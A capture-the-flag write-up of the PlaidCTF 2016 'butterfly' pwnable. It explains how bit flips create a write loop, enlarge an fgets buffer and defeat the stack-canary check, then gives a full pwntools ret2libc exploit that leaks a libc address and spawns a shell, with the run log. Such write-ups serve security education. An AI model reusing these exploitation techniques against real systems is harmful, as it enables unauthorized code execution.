Hi

last weekend I enjoyed alot in 2~3 hours free time at Plaidctf 2016. Here you can see pwnable butterfly writeup.

We are given a pwnable x86-64 binary with following information:

hamidx9@expl:~/ctf/plaid2016/pwn/butterfly$ file butterfly_33e86bcc2f0a21d57970dc6907867bed 
butterfly_33e86bcc2f0a21d57970dc6907867bed: ELF 64-bit LSB  executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.32, BuildID[sha1]=daad8fa88bfeef757675864191b0b162f8977515, not stripped

According to its logic it does following operations:

read up to 49 chars from stdin which we call here `rv`
addr = (converted `rv` to long) >> 3)
mark `addr & 0xFFFFFFFFFFFFF000LL` as RWX (len = 0x1000)
bitflip `addr`: *addr ^= 1 << ((converted `rv` to long) & 7)
mark `addr & 0xFFFFFFFFFFFFF000LL` as RE 
continue

So we can bitlfip (change) a byte and continue. but we need a loop-based operation for overwriting more than 1 byte which is common at CTFs.

bitflip can be obtained using following python code:

def c(address, s):
    return (address << 3) | s

I should loop over this operations after bitflip so i choose second mprotect call.

 400837:    e8 24 fe ff ff          callq  400660 <mprotect@plt>

Second byte can be written with c(0x0000000000400838, 6) = 33571270 to :

 400838:    e8 64 fe ff ff          call   0x4006a0 <_start+16>

In this manner we can use bitflip more than once.

Here i can overwrite len of buffer which passes to fgets to overflow the stack.

  4007c3:   be 32 00 00 00          mov    $0x32,%esi

with c(0x00000000004007c4, 7) = 33570343 to:

  4007c3:   be 32 00 00 00          mov    $0xb0,%esi

Here we can overflow the stack and use rop or ret2libc techniques.

One of the reason i write this writeup is others use mprotect or ... to write shellcode on .text and go on. but based on my laziness i like ret2libc technique. So there we go.

Then we sould bypass ___stack_chk_fail as we see here:

  40085b: 75 26                   jne    400883 <main+0xfb>

with c(0x000000000040085b, 1) = 33571545 can be written to:

  40085b: 77 26                   ja     400883 <main+251>

Now we can overwrite ret addr and use ret2libc technique. next is trivial and i use puts to leak libc_addr so we can pwn the box. but remember we should pass check_stack_fail which we should overwrite cookie with 0xffffffffffffffff.

We can see our exploit for this challenge:

#!/usr/bin/python


# python -c 'import struct; q = lambda x: struct.pack("<Q", x); print "33571270\n"+"33570343\n"+"33571545\n"+"33571270\x00"+"\xff"*0x5f+q(0x00000000004008f3)+q(0x600ce8)+q(0x400600)+q(0x000000000040086a)+"\n"' > poc

from pwn import *

def c(address, s):
    return (address << 3) | s

#r = process("./butterfly_33e86bcc2f0a21d57970dc6907867bed")
#r = remote("localhost", 4444)

r = remote("butterfly.pwning.xxx", 9999)

mprotect_call = c(0x0000000000400838, 6)
r.recvuntil("RAY?\n")
r.sendline(str(mprotect_call))

fgets_len = c(0x00000000004007c4, 7)
r.recvuntil("RAY?\n")
r.sendline(str(fgets_len))

stack_check = c(0x000000000040085b, 1)
r.recvuntil("RAY?\n")
r.sendline(str(stack_check))


pop_rdi = 0x00000000004008f3
libc_start_main_got = 0x000000600ce8
puts_plt = 0x400600
main_func = 0x0000000000400788

r.recvuntil("RAY?\n")
r.sendline(str(mprotect_call)+"\x00"+"\xff"*0x5f+p64(pop_rdi)+p64(libc_start_main_got)+p64(puts_plt)+p64(main_func))

r.recvuntil("IT???\n")

libc_start_main = u64(r.recv(6).ljust(8, "\x00"))
print "libc_address:", hex(libc_start_main)

system_address = libc_start_main + 0x24870
bin_sh_addr = libc_start_main + 0x15af0b

junk_addr = c(0x00000000004008dd, 1)
r.recvuntil("RAY?\n")
r.sendline(str(junk_addr)+"\x00"+"\xff"*0x5f+p64(pop_rdi)+p64(bin_sh_addr)+p64(system_address))

r.interactive()

And running the code:

hamidx9@expl:~/ctf/plaid2016/pwn/butterfly$ python sol.py 
[+] Opening connection to butterfly.pwning.xxx on port 9999: Done
libc_address: 0x7fbf67ab0dd0
[*] Switching to interactive mode
WAS IT WORTH IT???
$ ls
butterfly
flag
wrapper
$ cat flag
PCTF{b1t_fl1ps_4r3_0P_r1t3}
$ exit

We got 150pts. full exploit: sol.py

Regards,

Hamid Zamani

Comments